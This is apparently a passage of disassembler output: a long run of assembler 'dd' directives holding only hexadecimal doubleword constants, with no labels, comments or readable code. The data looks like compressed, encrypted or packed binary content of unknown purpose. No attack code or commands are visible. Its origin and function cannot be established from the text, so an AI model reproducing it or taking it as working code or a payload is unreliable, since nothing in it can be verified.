		dd 0F0A09964h, 0ED5C835Fh, 7247355h, 5207304Dh,	2D601973h
		dd 75E75815h, 246CFA0Dh, 8121404Eh, 18326935h, 46B8D428h
		dd 0E970C8E2h, 64EEC94Ah, 0E280BAD3h, 7A756068h, 81E5B58Dh
		dd 71ADF681h, 863F4348h, 3602120Dh, 0E90AFBE5h,	8750E85Eh
		dd 30D6C2CBh, 2D687E11h, 0DE262115h, 2703C56Bh,	2648785Ch
		dd 94E03CAh, 5CC68599h,	0C6B4B52Dh, 4FE6F2B8h, 0B8DF24E7h
		dd 78FB5ADFh, 0F16E11E0h, 80041DE6h, 3BC2C7C1h,	1536858h
		dd 974B98F7h, 7B71E00h,	2A58EF80h, 0C6D92F88h, 6EE80B09h
		dd 0CF80748Eh, 231966C3h, 9CE0CC0h, 2FE972F4h, 5648B50Ch
		dd 11BF8396h, 0FDFD5041h, 0AB1D842Eh, 0D08F9139h, 0CC939B68h
		dd 745B4FD3h, 3C6D2FD8h, 0A75D7644h, 70D6E903h,	0E1B06CABh
		dd 6A120E21h, 65035643h, 0E9235ED3h, 0BA4D2BEh,	252D1003h
		dd 6834B05Dh, 131BB280h, 0D0672EE9h, 3A09270Fh,	0D5013513h
		dd 0C99A7CFFh, 4957B4AAh, 0A9C0D524h, 0C2309551h, 270BABF2h
		dd 89092B31h, 3EB60034h, 979AA039h, 0F929D084h,	54E909C8h
		dd 4F1275FCh, 6616C5Dh,	0C835A5EBh, 960B0C69h, 5D24F219h
		dd 0F088728h, 0AAD4A4E9h, 0A2E188C7h, 0F3D5CB15h, 0D348A747h
		dd 0C45FFE80h, 0F3F44080h, 8E405C0h, 0B8413CE9h, 111CC563h
		dd 5C1CD4CBh, 9B752740h, 66D780B8h, 4F4EA5Ah, 0CCE9A12Ch
		dd 0CA07ADD2h, 90248930h, 12A5E906h, 46C10421h,	0EC51BA33h
		dd 8A37E8Eh, 565A25BAh,	92D552FEh, 94B8006Bh, 405D917Dh
		dd 6A200105h, 45E916CAh, 0F7579E7Bh, 1B3844C2h,	8AC66047h
		dd 35E0511h, 727A98E9h,	0F15F6A6Bh, 6859023Dh, 0BADD4383h
		dd 31325519h, 768FD21h,	39776E16h, 4BA0162Eh, 690B9649h
		dd 1747E180h, 0ECC110CEh, 48B97936h, 4C1EF64h, 0B7A6AA14h
		dd 0E9771801h, 0FC50D313h, 7B377746h, 0E4B0C3FCh, 9D2DCF11h
		dd 0E8EDB3A0h, 4A4A2F72h, 3AF8084h, 0B2C8E3C6h,	5BDCE954h
		dd 0EA5EFE97h, 842817E3h, 0F25CF97Eh, 768958A4h, 3B72B55Ah
		dd 87559495h, 37478B98h, 56164C73h, 9DFE3FCh, 5D8B59CEh
		dd 0F83E12Eh, 0DE34233Ah, 0F3AE0DF3h, 40AA5A46h, 7267EE28h
		dd 5F131C92h, 67B41F68h, 6BC941DEh, 2C5B314h, 2D5C3205h
		dd 0A7858141h, 0DBDF4849h, 17C6C0AFh, 0EA202EE9h, 0AA688214h
		dd 6B776370h, 351CC996h, 12B41B2Eh, 34402F98h, 0D4F2EAA0h
		dd 0F5222C05h, 1695C8E9h, 8438F2AAh, 0CCEBDA14h, 414BAAECh
		dd 473936D1h, 7851BF00h, 29BA8314h, 0E7D11F87h,	1075BC5h
		dd 0A09031ADh, 40229A05h, 0FDD1B42Bh, 46AA3612h, 7D0B3A1Dh
		dd 1704DEE7h, 5E07A799h, 4B84B9F8h, 43F70FB2h, 0CCE3D143h
		dd 58780380h, 0C286020h, 0C1CBA9B5h, 8F5E92Dh, 4707A32Ah
		dd 75B22C4h, 0E67F74ECh, 2D1FACA9h, 0CBDE4DA4h,	705E80Ah
		dd 46BD5317h, 17B42E9Ch, 2223FF44h, 0FDB3B25Dh,	32E16248h
		dd 0D64C7E25h, 77C20959h, 0B16F69FAh, 0B6EC4E22h, 3DE07CBAh
		dd 8AB35A4Bh, 30090813h, 0B7BB537Bh, 57B46F00h,	13F3E381h
		dd 0ECE3B005h, 0EBD10602h, 32BB9DE9h, 80C9FE18h, 67E1C01Ah
		dd 93CF0C06h, 0C882EEF1h, 384CF255h, 3B9242BDh,	0DA360E2Fh
		dd 0BB33ECE3h, 0FE0CF6C9h, 0DD9CC2D5h, 81905AEEh, 0FFF68E32h
		dd 0B70352C6h, 3AF02D41h, 34F548D4h, 0D09A447Fh, 7EBF00A9h
		dd 0A155C902h, 60649FC7h, 3EB7BC1h, 0E45FF381h,	0EFB02674h
		dd 0D90C3622h, 5CDF2953h, 7A739C87h, 0F32689DFh, 0E95B83AAh
		dd 3702E05Fh, 0C025E4F7h, 0EA824176h, 92A4F63Eh, 9AF99924h
		dd 42E5184h, 0B3FACE31h, 0B0B69630h, 544AEF25h,	9F209AF0h
		dd 0ED98C5F2h, 0C4DAA8A8h, 5E0F3E72h, 434D7CC6h, 4C53F500h
		dd 0D368254Bh, 4B9A9764h, 46C0CD60h, 7A5CB82Dh,	76EC20F9h
		dd 9616057Fh, 17B00DA8h, 0AFCA2481h, 87A62CA4h,	195A38A0h
		dd 889D2D00h, 18C5D759h, 0CF82356Dh, 20785629h,	1AAC9B08h
		dd 1EF56C01h, 4EE92C41h, 8275A590h, 7D736BE5h, 0F1C09B91h
		dd 6059D9C8h, 0BEB4C9DBh, 3F81DEE9h, 1DD37A18h,	0C413DDF6h
		dd 0EAAD1Bh, 63222DEFh
		dd 429D67C7h, 0F0070970h, 0E9551771h, 0FD1A21D8h, 0FDA96E5Fh
		dd 0E01F165Bh, 515015DEh, 4513FA30h, 0D5005AB4h, 0EC6924E6h
		dd 0E9F31F21h, 0AAD12640h, 0C5E32063h, 62186812h, 0E9B138ABh
		dd 13FD124Eh, 0BA8F726h, 672B1D5Fh, 4850347Dh, 0A001E57h
		dd 534A0C6Eh, 33E01368h, 0CE01124Eh, 184927D2h,	3BB7802Fh
		dd 437D223Dh, 0E62CB04h, 9F8050D6h, 0BF2416Ch, 5BDD3138h
		dd 62BF61F8h, 0D7C892E2h, 5740B86Ah, 30B9BB21h,	4D2718BCh
		dd 955577DFh, 5DADE6E7h, 166CEA30h, 28F199BDh, 0B407A53Ch
		dd 1D7B631h, 0D85258E6h, 0EE17D06Dh, 3211D6F6h,	685603CAh
		dd 0A4A221ABh, 5807A3FAh, 838D4F8Dh, 5BDE4934h,	92CEACAFh
		dd 411D4709h, 0FE6D5009h, 2A1E68F1h, 560134A3h,	74458BEh
		dd 8BF1E53Dh, 0A8B1E981h, 0C185A394h, 6CC008E5h, 4BAA6CE7h
		dd 2E82297Eh, 12FFF834h, 0EB2DBAD7h, 40511652h,	2E666CDDh
		dd 109D0AE4h, 9DE050C1h, 6815F9BAh, 0A4C156A0h,	560970ADh
		dd 397C1BE9h, 6160E097h, 266783BFh, 2504AA5h, 7B3F03E6h
		dd 9FC7615Dh, 80E5E87Ah, 32AD5F68h, 58E0BC30h, 0F397C177h
		dd 69401FEh, 585B6356h,	51B555CDh, 5FC38169h, 2F29A1DDh
		dd 0BCC253D0h, 389E261Ch, 5CE42020h, 348564F7h,	0E1CB857Ah
		dd 0E9578BD6h, 0FE84E07Eh, 0F6801CC6h, 10BEFA2Fh, 0DD906A92h
		dd 4ABC2E86h, 628720E4h, 554B936Fh, 0BE4717BAh,	0EEE85B5Eh
		dd 0B530C70Fh, 1A02533Bh, 0A77BFBE9h, 0CB72F0E6h, 0EAFD6B33h
		dd 0AF3A415Dh, 87491389h, 1A0792DEh, 0DCF98256h, 0B18A1563h
		dd 0B0215E17h, 8409F33Fh, 572C430Ch, 73E360Ah, 0F9D3089Ah
		dd 0F75103D5h, 0F4D205DEh, 0D4FFA22Ch, 41CABEAFh, 0E4856C41h
		dd 0AB37F068h, 2CE91768h, 6F75DCC1h, 0AE89EB05h, 0A516C631h
		dd 3E525D01h, 11561301h, 0C7264C44h, 0C419348h,	173ADC21h
		dd 8198AFCDh, 0D0E34F7Eh, 726BFA97h, 4F4595Ch, 0A270F8Eh
		dd 0D47E14ABh, 0ADE1D039h, 70AF43E9h, 8D6463AAh, 0FF82E5CBh
		dd 627554BEh, 9C08A00Fh, 0A4099003h, 3FFE2778h,	705FDE18h
		dd 5378B362h, 1C56157h,	4D240563h, 5A2E28E6h, 5BF4ECFEh
		dd 0C3ED3CAAh, 15692C8h, 0F833F281h, 89D5D203h,	0C1D600AFh
		dd 25640547h, 3655E829h, 32E91350h, 0AE3CAE49h,	305EB72Ch
		dd 84D6F45Ah, 0BF461068h, 91531635h, 0EE9666B2h, 4BA9EE52h
		dd 0EB3D2884h, 8D1E4E24h, 0DA96A38Bh, 446800D1h, 5833FB1Dh
		dd 416B2D40h, 2507540Fh, 0CBF0FA0Ch, 7B5C5272h,	510A788Bh
		dd 0AC21760Ah, 1A1D113h, 0F580282Ch, 0E414A085h, 57756812h
		dd 8012F2B3h, 0EF1F352Dh, 91B76F87h, 25916FCh, 685DEE31h
		dd 0C8E6282Bh, 2DF5504Ch, 0BCFB5148h, 413BF893h, 7967BB7Fh
		dd 0D3623246h, 4C04921Fh, 99A14E22h, 1720EBFCh,	0C05C751h
		dd 0BFB6E105h, 8370BD00h, 3DCF813Fh, 73A0228h, 91CDE947h
		dd 4906AD6Ch, 14C5A2Bh,	5B7CBDFEh, 0C752199Ch, 0B4128504h
		dd 820C0713h, 0B363275Ah, 9305EB11h, 8F0388EDh,	0F2EEC786h
		dd 69D60BCEh, 4AFC3C31h, 468C2A04h, 0C4EDABC1h,	959A074h
		dd 8005EFC0h, 0F80A548Eh, 1655CBF5h, 3C4C2206h,	6BC16120h
		dd 61685259h, 961389C5h, 1B810F2Eh, 0DA60D6B9h,	9D61B72Bh
		dd 66F7E24Ah, 48CD0B79h, 0EA706522h, 0BA4A260Eh, 0D802AE71h
		dd 98E6D152h, 1B2F0962h, 22DDB811h, 425BD841h, 1A217D22h
		dd 4021CFE9h, 93D3BC42h, 0FB0824Dh, 0E959CD89h,	9F3C66E8h
		dd 952080D2h, 9F6818DAh, 0B03BDD56h, 0E2E7799Fh, 10BE2A2h
		dd 0DEF67F40h, 0AE28C304h, 815AF081h, 0E9D02C06h, 0A23FC19Bh
		dd 0A3398550h, 646728EFh, 828DF54Bh, 88F7956Fh,	7E408DA6h
		dd 1C2A0BB8h, 820125B5h, 41496BD2h, 3AD412C2h, 0E724E58Dh
		dd 611F6E70h, 0D6F4C129h, 0DF2ED962h, 9A9FCF94h, 0E0E4A99h
		dd 8CD4CA2h, 0FB504895h, 4CD5B65Fh, 541818B9h, 9726E469h
		dd 0E60B14DBh, 65B97FB7h, 4FCD2B52h, 249CA06Fh,	49C8924Fh
		dd 3D9398D2h, 1DA72FA2h, 16DD46E2h, 17765FFEh, 53CAFF8h
		dd 0E9FE0929h, 9952BAA8h, 1B6A03EEh, 2E32961Dh,	45561F6h
		dd 14C12EAFh, 22ABDF5Ch, 67321E04h, 458369C3h, 7DB3EAB5h
		dd 0C65074F8h, 8430E908h, 2BBD64E6h, 901E7339h,	7A100EE2h
		dd 0CDC03220h, 463A6986h, 415F18C0h, 0B8520AB4h, 0E5E973FFh
		dd 0A5E656ADh, 7CB8982Dh, 7F5C59B8h, 4768FA02h,	41E39A16h
		dd 5E00B07Bh, 5B015D53h, 617FFE2Dh, 972E0526h, 0B87459ABh
		dd 461B04BDh, 1B81545h,	0E9200741h, 0F8DE5F31h,	0CE0AA141h
		dd 15C4F128h, 0D3290332h, 8EEA9D5Ah, 0C0D55005h, 18137712h
		dd 9AB2DAB4h, 176818C7h, 0CAEB5F2Dh, 3297B8B4h,	0AD99D4BEh
		dd 1340589Bh, 748C3AA3h, 1EB9B10h, 0BA31A468h, 6A89B15Fh
		dd 77C20BE1h, 0E66F4BF9h, 51EDE59h, 105BCFBBh, 1F70AC23h
		dd 0CEC95451h, 12B3722Eh, 5DC36349h, 0E1B83BCh,	0A9C2E909h
		dd 77026F44h, 5B48C030h, 17FF5121h, 0A46F56B3h,	6BBA5473h
		dd 8002F380h, 8899F20Fh, 494EA5D3h, 0E592FDBCh,	6C19F1DBh
		dd 31661B3Eh, 0FDB0C9E6h, 0D02E2ABCh, 38C10261h, 0F0602644h
		dd 0BD8021CAh, 690B3EB6h, 0B43538C8h, 9B8DBF0Dh, 0BFAF6AD4h
		dd 0EA5880A4h, 0BDACBE5Dh, 0E642F04Bh, 93A20547h, 81F931D7h
		dd 49463AFh, 0CB91A7BFh, 0B939805Ch, 91F3335h, 0C594E95Bh
		dd 0A03C07D3h, 2D682D4Fh, 0E8065C09h, 29BD82AEh, 4127DD45h
		dd 0E8D6EE58h, 2DAE5A46h, 563C02A5h, 556B68F1h,	0E90E93EDh
		dd 62E2737Fh, 0E1F7660Eh, 2F7C6862h, 31737AD5h,	85B1695Ah
		dd 74312B03h, 64F8501Eh, 99E91652h, 0B532AABFh,	9F59D0A6h
		dd 0E917B5F8h, 5157F0C7h, 305C16EFh, 0EDB850B8h, 20CD7412h
		dd 0F3408B13h, 665EFFBBh, 2C6FB473h, 2081283Eh,	8837A5A3h
		dd 74953CDAh, 0C381D390h, 137A13CFh, 470E133Ah,	7256575Dh
		dd 0D155BDB8h, 96C46F80h, 1082A96Fh, 0F601E092h, 0CB353D9h
		dd 805BD430h, 50ACF107h, 929C888h, 0A8165F1Fh, 0BC85E917h
		dd 3F6692DCh, 0F419D929h, 0E9F51D25h, 0ED7EE124h, 0E0846E1Bh
		dd 44AD9BEAh, 0FBD6ACC4h, 0E9F099ECh, 9CB9E727h, 2035CA04h
		dd 73F91AD5h, 596DBF03h, 220B7585h, 61ED28B1h, 6890784h
		dd 0C10E5106h, 7A44CF49h, 0E076EEF1h, 3F1ACA81h, 123172B5h
		dd 2CD403CDh, 80DA4AE9h, 504BA4Fh, 64229A26h, 52FCB712h
		dd 4FA10A1h, 0C1C3A083h, 10868AE8h, 694F380h, 0C004D61Fh
		dd 2045E549h, 0AB65C73Ch, 62149648h, 0F05D56E9h, 0EF60D2C5h
		dd 0FC4FDE2Eh, 7671B24Bh, 2D72DD8h, 9A6B3FCh, 0AEA1388h
		dd 0C964F64Ch, 2B0983E1h, 6CEAF484h, 0F03868BDh, 0D6B5701Dh
		dd 5144D222h, 0D5FB5E25h, 0FA29B499h, 9FB59C7Dh, 5A9A2FDCh
		dd 2E4457B3h, 760BFE27h, 205C58F9h, 2D626D0Ch, 0BF531701h
		dd 9033A8CCh, 28504CF4h, 96810E0h, 14682E63h, 38E55F0Eh
		dd 0ED11C065h, 522935FCh, 1C29236Dh, 3D19380Ah,	530D7600h
		dd 296BA2Dh, 0E933847Fh, 67E536D9h, 0A0005316h,	7A700DF5h
		dd 0BF968BBh, 48F21085h, 16E1006Ah, 521D4722h, 6FD40BBAh
		dd 0ECF65198h, 9FC8010Ah, 0A5D65E42h, 8BAE32E6h, 748218E4h
		dd 133BEF83h, 130B7F2Ah, 82ADA50Fh, 3D04510Ch, 98888423h
		dd 169CB800h, 4016636Eh, 8EEC083h, 3321A504h, 0F7A73043h
		dd 6E9C5DFBh, 14D6870h,	7F3280ACh, 5AE94860h, 0F7CF0305h
		dd 5BC141D9h, 0DF4F076Ch
		dd 0B5344CD6h, 0D32EF1A1h, 30C8F396h, 12D3A79h,	683630D8h
		dd 6485B402h, 0E54BBD5Fh, 36B46116h, 0A8C55B8Dh, 80D5B762h
		dd 19254EAh, 98478F13h,	432E68B5h, 0E9624D39h, 24385E33h
		dd 43C458C9h, 0FE5D5980h, 72EC9FF5h, 3479D895h,	0BCAB298Fh
		dd 35A605B2h, 6A1313C9h, 7048278Fh, 0A763552Eh,	0D3B91457h
		dd 52810A3Eh, 250C4256h, 0BECF6607h, 68EDB40Bh,	1FA2615Dh
		dd 281DD77h, 1DEB639Fh,	166A080h, 0D9E6350Dh, 5E0828D0h
		dd 0A2C148E4h, 65BB5917h, 6E1EF9EAh, 0ADF308B2h, 99609CDFh
		dd 0F0A008BCh, 0EFE81C44h, 0E718D202h, 52D7591Dh, 6B58587Ch
		dd 1D75C31Ch, 6FEB5DD3h, 4F428E7Ch, 9665249h, 5510403h
		dd 79F38BDDh, 6F186350h, 0C5560F92h, 0A05C88Ah,	4920D13Ah
		dd 85903BCAh, 81CE29h, 0C714A4EEh, 0C6015903h, 98DB6827h
		dd 138BBB79h, 0C027E32Eh, 0E63DE93Fh, 85451BDh,	7A28A3DCh
		dd 291704FEh, 0D1A14B57h, 3F349EE4h, 0EB80658Dh, 0B2F9DEC5h
		dd 0E926DA01h, 58844E12h, 0A1A5F829h, 0BC6ECD3h, 0A4DB81Bh
		dd 97E26D0h, 2E3C1EFCh,	0AC126C99h, 60AFA64Fh, 8BC10155h
		dd 3ECB3BEFh, 0E96D305Bh, 4495D3F1h, 4F17F0C0h,	0A5A2F3B9h
		dd 0D71E8AEBh, 4B9F31FAh, 8C0B6295h, 2E07BA56h,	9179114h
		dd 0CE75C809h, 80DC4FA4h, 4E19BEBCh, 300C563Dh,	0B9B82B75h
		dd 80D05A10h, 0F7910521h, 0D03D173h, 45AA4E86h,	346ED840h
		dd 0A2175A0h, 0A88EF359h, 90F62793h, 3C04A1CAh,	8BFBE03h
		dd 0C0277968h, 0BEF5727Fh, 30DC5068h, 525F16C3h, 22E5C754h
		dd 58F4D034h, 32E5F8C3h, 10223B4Fh, 1B61877Eh, 0D9203348h
		dd 57970BF1h, 480A3688h, 90D54B4Bh, 1E8B6847h, 8C6C7308h
		dd 524613CFh, 43BA6607h, 8953536Fh, 0F00650D3h,	1F557E5Ah
		dd 686D2CBDh, 67B63FE0h, 0BA14A1DFh, 1F9C0F12h,	0ACBFE257h
		dd 9A41776Fh, 0EF1C8603h, 942E7AF2h, 0AA2A0941h, 0AEEB7324h
		dd 65AF7C95h, 0B4A3ABCFh, 9863D12Dh, 0DA0041FBh, 284068E3h
		dd 766BB805h, 1374BDDCh, 0C9157F2Dh, 769B1A2Dh,	7F7C0B2Dh
		dd 0EA51035Dh, 130D7E78h, 80E7E9D0h, 7B886800h,	1B79392Dh
		dd 643CD9B3h, 2F0BE901h, 97E7BB6h, 63997B84h, 12D85504h
		dd 0C7684FBh, 0E3397FC3h, 1251A149h, 86550C8h, 0CDE92770h
		dd 6AEE9503h, 0E1147D34h, 0F67DD8BFh, 5251DF02h, 0A3259768h
		dd 9A67B01Bh, 0B38C846Bh, 1FBD2E8Dh, 9D2754FCh,	273DF8CDh
		dd 66FB4236h, 639BDEA2h, 100F2D87h, 84FF6A65h, 3924EB79h
		dd 0F38DC2h, 88D8B652h,	10CAF74Ch, 0E05BDE6Bh, 17000571h
		dd 2D292A37h, 7B911C0Dh, 757CBD2Fh, 0B51422CFh,	0A93E04Dh
		dd 0F86A5E4Bh, 395A0015h, 0E9425121h, 0F12B693Bh, 6D99805Fh
		dd 0FA0B070Ch, 0DD816562h, 27C80C1h, 34B85801h,	431D9BBCh
		dd 97066A8Ch, 4E798C6h,	1FAF11D8h, 0F02AA858h, 9F28DC68h
		dd 0E4304B18h, 0DF2CE9Dh, 0C3FED3F6h, 0AA4F3004h, 0A784E92Fh
		dd 37A1EF91h, 9A203446h, 87DD9C06h, 924DD656h, 186835E9h
		dd 40CC8AB3h, 0F70601h,	55B05051h, 0FE58C188h, 61E9C917h
		dd 0C55FDE4Eh, 2CD89876h, 13F8FE9Dh, 0B84C293Bh, 5E0CD079h
		dd 9E0041BDh, 0E9606B56h, 81925B11h, 2650B24h, 0A07A48Ch
		dd 2AD316B9h, 0D200BB96h, 46F505A5h, 1B353B48h,	0A9696B14h
		dd 21251020h, 8AF71D8h,	0BB01D768h, 39E64095h, 9BE5330h
		dd 29462F25h, 8807F50h,	4D4EAEE9h, 8D373A9h, 5918C5BEh
		dd 3E3CBF80h, 4D2D07C3h, 3EE069C9h, 7D33CC06h, 555B2712h
		dd 895A63E6h, 0E99A44BBh, 1413BA49h, 1349D0A8h,	88C8B2C1h
		dd 0AB2FA6D1h, 572C5D1Ah, 0F2C2417Bh, 11365578h, 8293C597h
		dd 18725E8Bh, 3DC0D5E1h, 0A09F20AAh, 2D489B0Ch,	825D30B4h
		dd 0FD58C666h, 0BAA675C5h, 9F124E00h, 2FF50120h, 10DCFC68h
		dd 29070FC8h, 3AF4E9D5h, 5BF20516h, 8C4B850h, 1816D738h
		dd 0F0890DE5h, 0C1E5E94Bh, 0FB6B357Eh, 5B61C9F4h, 0F4C5A24Ch
		dd 3B6C8383h, 1599E899h, 3FF50F34h, 71288680h, 314C130Ch
		dd 0E944B0FDh, 1436D827h, 1D5E5BC9h, 3E726BCh, 66C66354h
		dd 2F5A0C01h, 0DA291230h, 4F10A97Fh, 6B466CE0h,	955584Ah
		dd 20ACF6F2h, 0D42BF90Bh, 45D2AF92h, 0F4C55D59h, 0F742ABA5h
		dd 16D54492h, 0AF585B29h, 5EA43338h, 0F1C950Dh,	1277616Ah
		dd 0CE24EF3Eh, 0EA375D80h, 0E9940CB5h, 80300C93h, 4054C732h
		dd 4031FC4Ah, 956862F3h, 2190B5Ch, 238F4CDCh, 0E1A78F43h
		dd 319C6D64h, 3EDFE63Eh, 4F3D8B2Dh, 20ACF67Ah, 105B6F07h
		dd 455EEE5h, 0FA6DE9A0h, 2CEEE413h, 7C406F13h, 24B94551h
		dd 67FEF1BAh, 88290D25h, 0E9040821h, 0D889C385h, 7C223A40h
		dd 2784C8Dh, 0E90D1E30h, 7AB7A463h, 9CC0484Eh, 0F6800760h
		dd 0F43B08F2h, 0B5C4105Ah, 0E2268A48h, 0A7E809F0h, 66E96F6Bh
		dd 0A952C242h, 69303601h, 4DB2E948h, 0E7A8B22Eh, 93915185h
		dd 6660F128h, 0CB09954Bh, 22765F5h, 0E5DEE951h,	5658B6C6h
		dd 0F0700CCh, 0C15A7828h, 664B0EAh, 0A64CF8C2h,	0EE0B0C13h
		dd 0F0EB6962h, 0A886C0FBh, 11D8606h, 868F109h, 75E5303Ah
		dd 5C6A7104h, 0D827464Ah, 5C6494DBh, 0F0BC57EFh, 645032C7h
		dd 91409C82h, 1053766h,	0E468B708h, 0F861CD14h,	607EE3BEh
		dd 6D6F732h, 0F6B040DEh, 14737F1Ch, 215EF009h, 8DADE651h
		dd 84A6155Fh, 0BFBC28E9h, 19E0B0B5h, 0BCC59D08h, 505C8A20h
		dd 4A42047h, 877F580h, 6B98EBEEh, 0FE7955E8h, 286CCED9h
		dd 404F0105h, 6AB0C959h, 3C99E0BCh, 7C1BA754h, 74A610A4h
		dd 0A5091F90h, 0F771E678h, 0A12CAB44h, 5F6A36B4h, 5F106901h
		dd 728F812Fh, 1721B61h,	5936AE65h, 0B3964070h, 0A5B393Dh
		dd 0B1EE24C4h, 1C98DB9Bh, 0CCA02D6Ah, 0C2273276h, 0CD3A6813h
		dd 91741298h, 50E2010Dh, 7A1A2E39h, 78334A14h, 0EF665C40h
		dd 0E7B6C130h, 2764A97Bh, 0B5BA0001h, 0B8E32C92h, 0B7C57040h
		dd 0C712356h, 5557E100h, 38A76804h, 0CBE83FA8h,	0D6E58101h
		dd 93497E29h, 8838069Eh, 1B1C17DCh, 9301AA62h, 9AC8E1C7h
		dd 55954E2Eh, 0D901EA57h, 23EA67DAh, 7421F9F1h,	5D5F0802h
		dd 183E53F1h, 0B80A8B7Dh, 872C1EA7h, 7B478903h,	0D5170F16h
		dd 28E8535Ah, 0C3F389C4h, 0E30D621h, 0C7853058h, 1E419F67h
		dd 0DFB32F5Eh, 6D409C9Fh, 0D3C25576h, 0A870253Fh, 0F58817E7h
		dd 21EA16AAh, 0F050Fh, 504D8F6h, 301E2C26h, 0B463EBC1h
		dd 2CEFF4FEh, 0EBB853EEh, 4B09787Ch, 5DB854E9h,	0AD908BE6h
		dd 33CB9850h, 59C8290Fh, 7C76222Dh, 0ADD6A39h, 6D055B07h
		dd 88805E4Eh, 4C1DA2C3h, 8E1A1219h, 2FFE93Dh, 55DF0183h
		dd 355AC5DAh, 3DD520D7h, 0E1E8A7D5h, 8207FC4Ah,	0FFF616B4h
		dd 7DBFD00h, 87277AB3h,	439357D6h, 5AB105Eh, 0E5D7EF96h
		dd 4D956A65h, 127CF356h, 0DA258833h, 0C25881BAh, 640C9AE6h
		dd 0C8709FF2h, 62BE32D2h, 0D857173Fh, 207B9DA8h, 8D6A546Bh
		dd 2CE0FEh, 0E54D8DB2h,	1533D48h, 0C21AB277h, 1F5DCF89h
		dd 4DF2ED2Bh, 80A34BD3h, 0F875EA92h, 0CB3E402h,	6FBF60DEh
		dd 8987B621h, 0A633E0FAh, 214702D0h, 51ED4397h,	0DF36A40Dh
		dd 4AF17840h, 0CFB3CC49h, 7A310C41h, 27F7CFDh, 1DC7BE92h
		dd 54404142h, 12027D6Fh, 0E9EED163h, 0BD86785Ah, 5C02ED3Ch
		dd 0E9CB885Ah, 2FA176FCh, 6F57DA99h, 0A2AE9965h, 3E6D0B64h
		dd 0BEA02D9h, 0CDF2B05Ch
		dd 9EFF99B3h, 0E9365356h, 17FB033Bh, 3943462Dh,	0D0AF93CAh
		dd 8D09DE50h, 39CD4Ah, 7673B671h, 64F0BD31h, 0BFCE4430h
		dd 4CFFC1C7h, 0F926DFFDh, 197C8B99h, 5D810D90h,	5075D633h
		dd 6E93B0B7h, 5482EDD1h, 1CAC9224h, 0B02248DDh,	46FB9711h
		dd 0DB12DC1h, 0F834F06Fh, 0ACBBE913h, 0F16B5EDh, 5C9DE6h
		dd 2424696h, 0A4A4334Ah, 50FDE2BDh, 3C2FACCh, 0E96CFE34h
		dd 321D7227h, 3CCAD109h, 94A48F4Fh, 5B202D40h, 8E729561h
		dd 87D10783h, 3FD3A04h,	948213CAh, 8039DEC0h, 0E230E589h
		dd 84E8B37Fh, 0FC2D0990h, 5E49135Fh, 0F1675C01h, 6FA2C420h
		dd 71860B3h, 215C56AEh,	0E8B408B8h, 76A23689h, 0EA9649A0h
		dd 310896BDh, 0E9251CB8h, 56C23FAFh, 251FE75Bh,	1809A87Ah
		dd 0F75DCD45h, 0B2C9758Eh, 535B99FDh, 6BA1F93Fh, 0F5B84820h
		dd 0E71B2F6Ch, 0C5E46270h, 3F145850h, 928FCC4Bh, 1257597Fh
		dd 721BB02h, 1B4041DAh,	0C23B39DFh, 5DE30642h, 0C0C9038h
		dd 8FFFFCEBh, 0D95FD1CEh, 548F0EACh, 88983A24h,	291CF249h
		dd 0D8D762B2h, 0FFAF4509h, 7FB4F396h, 0C22404CBh, 0B9FBE5AFh
		dd 4030DEE2h, 601706E4h, 6A1A9614h, 0E9166420h,	7354BC8Ah
		dd 0A7A11070h, 505D540Bh, 4C0FA520h, 0F7987C38h, 0A9D1CE0Bh
		dd 0DAAB227Bh, 5058FCBAh, 0E5990C03h, 61F6644Fh, 8AA231AFh
		dd 0DBA80443h, 180C9B40h, 0C46FA58h, 9E052942h,	0E6F2E94Dh
		dd 9D0627A9h, 0C506145h, 7F3B2070h, 98B8826Dh, 0F1120D9Ah
		dd 0AE482558h, 1B956FEBh, 66A2E711h, 1E297928h,	0B1E25353h
		dd 3DCA6FABh, 0E26ED2D3h, 910076CAh, 3A1B9492h,	51025BB8h
		dd 0E97B4665h, 0D7ADA9D5h, 668293E2h, 0A2DD2901h, 5FF8468Ah
		dd 0C30808D9h, 0D2F602ADh, 3374E2C0h, 0D5303E05h, 66018BE3h
		dd 0E9B2B353h, 0B91A246Dh, 342F18F2h, 0BCB06861h, 716C2616h
		dd 48AD02DEh, 18E2070Eh, 50AD15D1h, 0A1680563h,	0D4288E08h
		dd 0C67282F1h, 0E4D4AF0Fh, 9D86F73h, 85F49548h,	0CCF3B001h
		dd 0D01C189h, 0E8ED7BA3h, 0BB2CFB93h, 5EA7404Bh, 74160ECh
		dd 0C882933Ah, 259019D1h, 2AF13048h, 330B4763h,	4549D556h
		dd 0E9BD5C02h, 0BF83050Eh, 2DC07976h, 31F977ACh, 0F48F41C3h
		dd 595FC25Dh, 0F5EB6F6Fh, 0F6B299D0h, 85F7EF9Dh, 0A88884E9h
		dd 0A03C9EE5h, 0B8315FB3h, 672DB0C4h, 70F055Ah,	0F05E801h
		dd 2AB55D07h, 0FC6F2817h, 0F9F19247h, 9020296Eh, 0BB34C428h
		dd 41D5043Bh, 2C37BF02h, 67A42301h, 0BBCE853Bh,	3F9D081h
		dd 13E3447Eh, 4398EFB1h, 16072465h, 98F31413h, 5038A310h
		dd 784E9D55h, 68818332h, 73C280FAh, 0DFEA0D12h,	0D610CA28h
		dd 0EDE9640Fh, 4F65E3FAh, 16F44BAh, 0A2F2EAD3h,	9F99BDD3h
		dd 0B71FBD10h, 988479ABh, 98293E68h, 0FE68DE28h, 562C9855h
		dd 46CB8072h, 31271D0Ah, 2A8AEA31h, 585200B6h, 96C2F65Ah
		dd 0A0751796h, 681259E8h, 8CC71E2h, 9400BDB6h, 0D7774A05h
		dd 35482B02h, 600E5F74h, 97793C55h, 2FFCD89Ch, 5A3CBE6Bh
		dd 97F4BDDFh, 2AE1C4F2h, 0A7749A9h, 380662B8h, 61FA08D0h
		dd 6B836804h, 0B61F33A2h, 0CE42C92Fh, 6054C875h, 60A09791h
		dd 37443EA8h, 0C9EA8102h, 0DD1B5A38h, 1808F128h, 139F1E58h
		dd 4260A176h, 4D105F0Eh, 0EAE2BF62h, 5205C3C3h,	3F2CC304h
		dd 71A60BFAh, 0FE860884h, 0ACCD5D5Dh, 11737BC6h, 0C720CF58h
		dd 3620495h, 8F2F5FBCh,	0B1B31677h, 0EA4D0B59h,	0B5962351h
		dd 0AAA40E53h, 6B29483Ch, 0D0FC2DCBh, 0F63F88ACh, 0FB8A50F7h
		dd 2A2C6851h, 0C2C44945h, 0B94FCBFCh, 0EDA1B3D0h, 8AC473ECh
		dd 0E16CADE8h, 96E43E9h, 85595D03h, 85C5F5EBh, 0D307D72Dh
